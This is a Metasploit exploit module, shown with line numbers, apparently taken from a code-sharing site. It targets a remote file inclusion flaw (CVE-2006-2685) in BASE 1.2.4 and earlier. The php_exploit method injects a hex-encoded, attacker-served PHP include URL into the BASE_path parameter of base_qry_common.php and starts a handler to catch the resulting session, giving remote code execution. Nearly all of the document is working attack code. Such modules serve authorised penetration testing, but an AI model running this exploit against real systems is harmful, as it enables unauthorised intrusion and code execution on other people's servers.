Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Exploit::Remote::HttpServer::PHPInclude
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'BASE base_qry_common Remote File Include',
16
      'Description'    => %q{
17
          This module exploits a remote file inclusion vulnerability in
18
        the base_qry_common.php file in BASE 1.2.4 and earlier.
19
      },
20
      'Author'         => [ 'MC' ],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          [ 'CVE', '2006-2685' ],
25
          [ 'OSVDB', '49366'],
26
          [ 'BID', '18298' ],
27
        ],
28
      'Privileged'     => false,
29
      'Payload'        =>
30
        {
31
          'DisableNops' => true,
32
          'Compat'      =>
33
            {
34
              'ConnectionType' => 'find',
35
            },
36
          'Space'       => 32768,
37
        },
38
      'Platform'       => 'php',
39
      'Arch'           => ARCH_PHP,
40
      'Targets'        => [[ 'Automatic', { }]],
41
      'DisclosureDate' => '2008-06-14',
42
      'DefaultTarget' => 0))
43

44
    register_options(
45
      [
46
        OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/base/base_qry_common.php?BASE_path=!URL!"]),
47
      ])
48
  end
49

50
  def php_exploit
51

52
    timeout = 0.01
53
    uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
54
    print_status("Trying uri #{uri}")
55

56
    response = send_request_raw( {
57
        'global' => true,
58
        'uri' => uri,
59
      },timeout)
60

61
    if response and response.code != 200
62
      print_error("Server returned non-200 status code (#{response.code})")
63
    end
64

65
    handler
66
  end
67
end
68

69